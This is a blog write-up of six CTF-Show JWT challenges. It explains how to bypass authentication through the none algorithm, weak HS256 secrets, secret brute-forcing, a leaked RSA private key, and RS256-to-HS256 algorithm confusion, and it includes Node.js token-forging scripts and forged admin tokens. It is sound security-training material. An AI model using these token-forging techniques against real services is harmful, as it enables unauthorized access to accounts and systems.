CTF-Show-JWT系列

CTF-Show-JWT系列

Problem 1

前置知识

img

思路

尝试访问:
https://d6bd63c3-e67e-477a-ba67-fc6c81604997.challenge.ctf.show/index.php/admin/

抓包发现auth为一串base64编码,对其进行解码后发现:这是jwt认证的token。

img

我们仔细观察发现,该jwt采用空算法加密,这就代表着我们可以随意篡改明文数据,来绕过认证。

通过HackBar工具,将user改为admin,再进行base64编码,再放到数据包中,尝试访问该链接。

img

得到flag

img

Problem 2

前置知识

这里简单说一下,JWT的认证过程:

JWT字符串有三部分构成:header、payload和verify

  • header存放加密算法等信息
  • payload存放明文数据
  • verify存放加密密钥等信息

这三个部分均会base64编码,用.来连接。

JWT单密钥验证的情况:

当用户A给用户B发送数据时(假设,用户A和用户B相互得知密钥),JWT函数会将数据+密钥采用指定算法加密,得到密文。

当用户B接受到数据时,会尝试使用密钥+数据采用指定算法加密,将加密后的密文和所得到的密文进行比较,如果相等,那么数据没有被恶意篡改,否则就会被恶意篡改。

由于中间人不知道密钥,所以当他尝试使用未知密钥+篡改后的数据采用指定算法加密后,将密文发送给用户,用户使用自己的密钥和篡改后的明文采用指定算法加密后,发现密文比较不正确,判断数据被篡改。

当然,在以上过程中如果中间人知道了密钥,那么就无法被判断是篡改数据而是用户之间正常的交互数据。

思路

将拿到的JWT字符串进行解码,得到如下信息:

img

发现不是空算法加密,而是采用了HS256算法进行加密,因此我们无法直接篡改明文数据,需要得知密钥才可以。

我们尝试密钥为123456(存在弱口令问题),user修改为admin

将修改后的JWT字符串放到数据包中,访问之前提到的链接,最终得到flag

img

img

Problem 3

思路

跟Problem 2 一样的步骤,一样的思路,一样的弱口令...

img

Problem 4

前置知识

介绍一款常用的字典框架:
pydictor:https://github.com/LandGrey/pydictor/blob/master/README_CN.md

使用该框架可以生成很多有用的字典~

介绍一款jwt爆破工具:jwt-cracker

思路

直接使用jwt-cracker爆破密钥即可。

img

密钥为aaab

更改,拿到flag

img

img

Problem 5

前置知识

采用公私钥数字签名:

  • 用户A将明文采用A的私钥加密
  • 将密文和明文都发送给B
  • B采用A的公钥解密,判断两个明文是否一致,如果一致,那么未遭篡改,否则就被篡改。
  • 由于中间人没有A的私钥,因此无法伪造签名。

采用报文摘要(哈希值)数字签名:

  • 用户A将明文采用哈希函数进行哈希,形成报文摘要
  • 用户A采用A的私钥对摘要加密,形成密文
  • 用户A将明文和密文进行发送
  • 用户B将密文采用A的公钥解密,得到报文摘要
  • 用户B对明文采用与A一样的哈希函数进行哈希,形成报文摘要
  • 将两个报文摘要进行比较,如果一致,那么未被篡改,否则就会被篡改
  • 由于中间人没有A的私钥,因此无法伪造签名。

注意:在以上过程中,哈希函数的作用在于:不需要对整个报文进行加密,只需要对哈希值进行加密即可,加速了加密的过程,提高了效率。

思路

//app.js
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  //读取私钥
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  //签发jwt(私钥加密)
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
    //获取公钥
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');
    //进行验证(数字签名,私钥加密,公钥解密)  
	jwt.verify(auth, cert, function(err, decoded) {
      //如果user为admin,那么获取flag
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

根据文件发现:在A和B的传输过程中,公钥和私钥竟然泄露了,那么我们可以下载公钥和私钥伪造A的身份来发送数据,从而得到flag.

访问:http://71a87285-ff6c-48fd-a3e3-86dc4531885a.challenge.ctf.show/public.key

访问:https://71a87285-ff6c-48fd-a3e3-86dc4531885a.challenge.ctf.show/private.key

public.key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----

private.key

-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

安装node.js,安装jsonwebtoken,使用泄露的私钥生成JWT密文,从而绕过验证,得到flag。

npm install jsonwebtoken --save

node.js脚本

const jwt = require('jsonwebtoken');
const fs = require('fs');

//获取私钥
var privateKey = fs.readFileSync(process.cwd()+'\\private.key');

//采用私钥签发JWT
var token = jwt.sign({user:'admin'},privateKey,{algorithm:'RS256'});

console.log(token);

以上内容来自:https://blog.csdn.net/Jayjay___/article/details/132062263

所生成的JWT串:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MDk1MjUyMzh9.Y-hQYUOGoL0ILtY5OYTnFibYU1Jb_xe1xG-hu-2tXGDm5LbAWs0AG0jQ5kJtdmc27stgjWTEU5-Cqq-dMavIny17S7A6UIUT22X7qjFl4iZLwGSIusquZFdVhmODhMo7_CiaUovSrGsk0mVAxnhjvoi5AHbFFfJw8OWSrtYEsOw

放入数据包,得到flag

img

Problem 6

思路

下载项目源码,进行审计

//index.js
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;

发现源码中,只存在公钥文件

public.key

-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----

根据源码,解密过程采用公钥,那么我们可以构造一个JWT字符串,采用公钥加密,修改算法为对称密钥加密算法(强制性将非对称加密->对称加密)

const jwt = require('jsonwebtoken');
const fs = require('fs');

//获取公钥
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');

//采用公钥签发JWT
//并修改算法为对称加密算法:HS256
var token = jwt.sign({user:'admin'},privateKey,{algorithm:'HS256'});

console.log(token);

生成一段JWT字符串

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MDk1MjcxNDh9.amliI_C6ZQClhCzdEC8cv9TuOayZa5-Q5v5nEN6TKqU

提交获得flag

img

总结

JWT常见的绕过思路:

  • 单密钥加密
    • 单密钥泄露
  • 公私钥加密
    • 私钥泄露,导致伪造JWT
    • 公钥泄露,导致伪造JWT(强制修改,非对称->对称)
  • 空算法加密
  • 密钥过于简单,爆破
  • kid值篡改

注:在JWT中,只要密钥泄露,都会被伪造JWT令牌,从而绕过认证!

posted @   夏目^_^  阅读(191)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示